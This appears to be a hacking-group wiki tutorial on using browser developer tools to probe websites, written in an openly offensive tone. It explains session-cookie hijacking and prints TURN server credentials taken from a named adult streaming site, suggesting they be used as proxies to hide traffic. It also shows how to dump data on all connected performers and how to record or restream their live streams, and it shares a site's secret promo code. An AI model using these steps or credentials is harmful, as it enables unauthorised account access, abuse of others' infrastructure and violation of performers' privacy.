I'll just talk about the cool things you can do with just the web console without the target having no knowledge about what you are doing or discovering and then you can later write everything that would allow you to exploit what you'd have discovered.

Introduction

Hi, I'm Jiab77 and known as Doctor Who in the THC Telegram Channel.

Da web console

To open the console, simply hit the [F12] key. It should work on every platforms and every browsers. You can also use [Ctrl + Shift + I] to open the web console.

Even if all modern browsers have a web console, it's implementation may vary. So depending on what you are using, you might see some differences.

In this article, I've used Chromium.

Best tabs to know

There are many tabs in the web console. The most useful ones for hacking are:

• Elements - Shows the dynamic source code (includes the one generated by Javascript) and modify it locally
• Console - Allows you to access to all websites and applications code but also inject some
• Sources - Shows the source files of websites and applications
• Network - Shows all the requests made by the websites and applications
• Application - Shows all data stored by the websites and applications in the browser

Some names are different in Firefox:

• Elements -> Inspector
• Sources -> Debugger
• Application -> Storage

Elements

One of the simplest thing that you can do with the Elements tab is to reveal the passwords hidden by the dots:

• Normal password display

• Password revealed

But you can do many things as you can edit any elements loaded in your browser. In this case, I just changed the element type from password to text. The result is that the browser now shows the entered password in clear instead of *******!

To revert it as password display, simply set the element type back to password:

Console

To use this one, you'll have to know about Javascript programming. Without it, you'd not be able to do anything in the console tab but if you know it, then you can find some nice things that developers stores in the global window context.

Simply type window then hit enter and expand the displayed object properties.

Here you can see few things that comes from the developer of the website I'm using for the screenshots, these are not part of the default window object content:

In the picture you can see the __meteor_runtime_config__ object that contains some interesting things, for example some details about the Sentry tool used to diagnose issues in the code:

So yeah nothing really juicy here but try it on different websites or applications that uses the browser, you'd be surprised. I could find some application secrets stored loosely in the global context (the window object).

I said earlier that can also inject some code directly in the website, I'll show you a basic example:

And the code injected from the console tab:

window.alert('THC is the best hacking group!!');

It's just a basic example but if the website or the application is not protected against code injection with a CSP (Content Security Policy), you can basically inject everything you want, modify any elements in the page and so on.

Color differences

Someone in the group asked me what was the differences between the two colors:

Example from Chromium

Long story short:

• Light blue ones - Those that you can modify / alter. (dynamic)
• Darker blue ones - Those that you can't modify / alter. (static)

In detail:

• Light blue ones:

  Every global and third party code will appear that way:

  window.thc = 'best hacking group';
  

  Will appear like that:

  

• Darker blue ones:

  As said in the short answer, these are static objects, methods and properties that comes with your browser whatever it can be.

  You can call them in your web projects but keep in mind that some of them are not standardized so if you're using them, your code will be specific for the targeted browser only.

As I said in the beginning, the implementation may vary. For example, this is how Firefox is showing the difference:

You'll have expand <default properties> to see them.

Sources

This one might sounds not really interesting but again you might be surprised by what some developers can leave in clear in their source files so don't hesitate to waste some hours digging into them, you might find some golden nuggets.

To make the code more readable, click on the {} button at the bottom to get this:

So yeah, again nothing really juicy here, it's just an example. I'll try to show some stuffs later that might be more interesting, just keep reading ;)

Network

This one is one of my favorite and I've discovered so many things with it just by observing and learning what data are exchanged on the websites and applications. This allowed me to discover and later exploit many weaknesses.

Here is a practical example from the website speedlight.io. They will give you a lifetime gold membership if you contact them with this code:

So here the secret code is: IFOUNDSECRET xD

I know already that at least two persons already contacted them so it might left 8 places or less... (these two persons are me and a friend of mine)

Summary:

• Access URL: https://speedlight.io/my
• URL that contains the secret code: https://widget.userpowered.io/init?uuid=[REDACTED]

Honestly, this one was pretty easy to find but many ones will be in the Fetch/XHR sub tab and dynamic websites uses it a lot so finding good stuffs means analyzing a lot of requests... but you can find cool things when you get lucky. I'll show you later so keep reading ;)

Application

This one is the one that will often contain the most sensible details about you that the website or application will store to recognize you during your future visits.

Everyone knows about cookies so I won't really go in details about them but more about the other storage types that you might not know about them:

• Local Storage - Persistent storage limited to 5MB per domains or more depending on the victim browser (can be abused)
• Session Storage - Volatile storage, it's content will disappear once you close the tab or the browser
• IndexedDB - Bigger persistent storage, it works just like a classical SQL database with some minor differences

You might have noticed that I've changed the content of the stored data in the Local Storage section. You can basically modify every data stored in your browser, reload the page and see the result.

As I said, I won't go in details about cookies but the cookie stealing technique is basically just noting somewhere the cookie of someone else, get back to your home, go on the same website and change your cookie value by the one you've stolen and you will be logged as the person you've stolen the cookie.

In this case, speedlight.io are not using the cookies to store the session tokens but Local Storage instead.

Concrete use and discoveries

If you are still there, thanks a lot for your patience.

I'll now show you some concrete examples from some discoveries I've made on my side:

Display hidden features from the web interface of my router

Initially, I just wanted to access to my router logs because as every routers that runs on Linux, they must have logs, right?! But I searched everywhere inside that damn router and could not find anything regarding the logs and after some digging and analysis of the JS files of the interface, I found one that has some interesting constants:

var MENU_LVL=0;
var MENU_TITL=1;
var MENU_NAME=2;
var MENU_URL=3;
var MENU_ON=4;
var MENU_TARGET=5;
var MENU_GRP=6;
var MENU_ELM=7;
var MENU_USER=5;
var MENU_EXP=7;
var MENU_SUPER=10;

Then I analysed the HTML source of the user mode selector and found something that could linked to these constants:

The selector code is the following:

So, what do we have here?

• Standard = MENU_USER=5

  

• Expert = MENU_EXP=7

  

  Interesting, no? And what if I change the value of the radio input from 7 to 10 before clicking on it? Will it show something cool? Yeah, baby!

• Super User (hidden) = MENU_SUPER=10 (sounds logical, right?)

  

  Yesss, finally a Log tab!!

Let's see what we can find in this Log tab!

WTF?! Are you kidding me? :(

Let's have a look at the web console to see what we got:

Damn it...

Long story short, I must configure my local network connection to be in the right VLAN to be able to display the hidden content... It sucks...

Hacking web radios

What I'll show here is mostly valid for any web radios whatever they ask you to pay something each months to get it or not:

• Open up the web console
• Go to the Network tab
• Filter by pls, hls, m3u

And enjoy the direct streaming URL that you can later play in VLC for example:

• URL: https://hydra.shoutca.st:2199/tunein/tunitup2020.pls
• Example with VLC:

• Example with ffplay:

The executed command was: ffplay "http://148.251.43.149:8321/stream"

This address has been found in the logs from VLC.

Basically, most streaming servers based on shoutcast or icecast does not support the HTTPS protocol so they are using HTTP only most of the time...

Steal session cookies

If you can get your hands on the session-token (or any similar names) of someone else, just connect on the same website, replace the generated session-token by the one you could catch and reload the page, you'll be logged in.

Basically, if the user as not logged off, the session-token will be valid for a various range of days depending on the website until it gets revoked.

Abusing adult streaming websites

This one will be probably the most interesting for you as they clearly don't give a fuck about security or they just don't know how to put it in place correctly or whatever but their weakness are quite obvious and easy to exploit.

The following will be related to stripchat but it's also valid for every similar websites that use the HLS streaming format or have a WebRTC based service as both are often misconfigured.

Connected models

• Open up the web console
• Go to the Network tab
• Select the Fetch/XHR sub tab

• Change the URL from:
  • https://stripchat.com/api/front/v2/models?limit=24&topLimit=61&favoritesLimit=24&primaryTag=girls&device=desktop&uniq=ingyts30bj1qc6da
• To:
  • https://stripchat.com/api/front/v2/models?limit=10000

Now enjoy, you have the details about all the connected models at that time ;)

WebRTC servers credentials

If you take the URL from the previous section and do the following:

• From: https://stripchat.com/api/front/v2/models?limit=10000
• To: https://stripchat.com/api/front/v2/config

You'll get the complete website config in JSON and this include something juicy:

"webRTCOriginTurnServersPortMap":{"servers":[]},"webRTCTurnServersConfig":{"servers":["eu11","eu14","as1","as2","eu1","eu2","eu3","eu4","eu5","eu6","eu7","eu8","eu9","eu10","eu11","eu12","eu13","eu14","eu15","eu16","eu17","eu18","eu19","eu20","eu21","eu22","eu23","eu24","eu25","eu26","eu27","eu28","as1","as2","as3","as4","as5","as6","as7","as8","as9","as10","us1","us2","us3","us4","us5","us6","us7","us8","us9","us10","us11","us12","us13","us14","us15","us16","us17","us18","us19","us20","us21","us22","us23","us24","us25","us26","us27","us28"],"iceServersTemplate":{"iceServers":[{"url":"turn:b-{server}.stripcdn.com:2083?transport=udp","username":"johndoe","credential":"j8Hkl0UYqwW4r"},{"url":"turn:b-{server}.stripcdn.com:2083?transport=tcp","username":"johndoe","credential":"j8Hkl0UYqwW4r"}],"iceTransportPolicy":"relay"}}

More precisely:

"username":"johndoe","credential":"j8Hkl0UYqwW4r"

So if you reconstruct the data from just the WebRTC servers part you get more than 40 servers with the same credentials applied to them:

• From:
  • turn:b-{server}.stripcdn.com:2083?transport=udp
  • turn:b-{server}.stripcdn.com:2083?transport=tcp
• To:
  • turn:b-eu11.stripcdn.com:2083?transport=udp
  • turn:b-eu11.stripcdn.com:2083?transport=tcp

And so on.

If you combine them with turner... It will gives you the same amount of web proxies that you can use to hide your trafic behind the stripchat servers.

Live streams recording

• Click on any model stream
• Disable the low latency mode (click on the "lightening" icon to toggle it off)
• Open up the web console
• Go to the Network tab
• Filter with m3u8

Here the interesting URL is:

• https://b-hls-19.doppiocdn.com/hls/17085196/master/17085196_auto.m3u8

This is the direct stream URL of the model that you can play in VLC or ffplay but not just that, you can also record it and/or restream it with ffmpeg.

$ ffplay -hide_banner "https://b-hls-19.doppiocdn.com/hls/17085196/master/17085196_auto.m3u8"
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Opening 'https://b-hls-16.doppiocdn.com/hls/17085196/17085196_160p.m3u8' for reading
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-INDEPENDENT-SEGMENTS')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-DISCONTINUITY-SEQUENCE:2')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:38.407+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:40.385+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:42.411+0000')
[https @ 0x7fb624015980] Opening 'https://b-hls-16.doppiocdn.com/hls/17085196/17085196_240p.m3u8' for reading
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-INDEPENDENT-SEGMENTS')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-DISCONTINUITY-SEQUENCE:2')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:36.257+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:38.317+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:40.323+0000')
[https @ 0x7fb624015980] Opening 'https://b-hls-16.doppiocdn.com/hls/17085196/17085196_480p.m3u8' for reading
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-VERSION:6')B sq=    0B f=0/0   
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-INDEPENDENT-SEGMENTS')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-DISCONTINUITY-SEQUENCE:2')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:36.288+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:38.247+0000')
[hls @ 0x7fb624000bc0] Skip ('#EXT-X-PROGRAM-DATE-TIME:2022-08-28T23:22:40.300+0000')

Nope, I won't show you nice pictures of the captured stream :D

I won't go in detail about it as it will be quite off topic but maybe in another wiki article.

Thanks

Thanks for reading. Please share your thoughts in the Telegram Channel.

References

• https://developers.google.com/web/tools/chrome-devtools/console/console-reference
• https://developer.mozilla.org/en-US/docs/Web/API/console
• https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API
• https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API
• https://feross.org/fill-disk/
• https://github.com/staaldraad/turner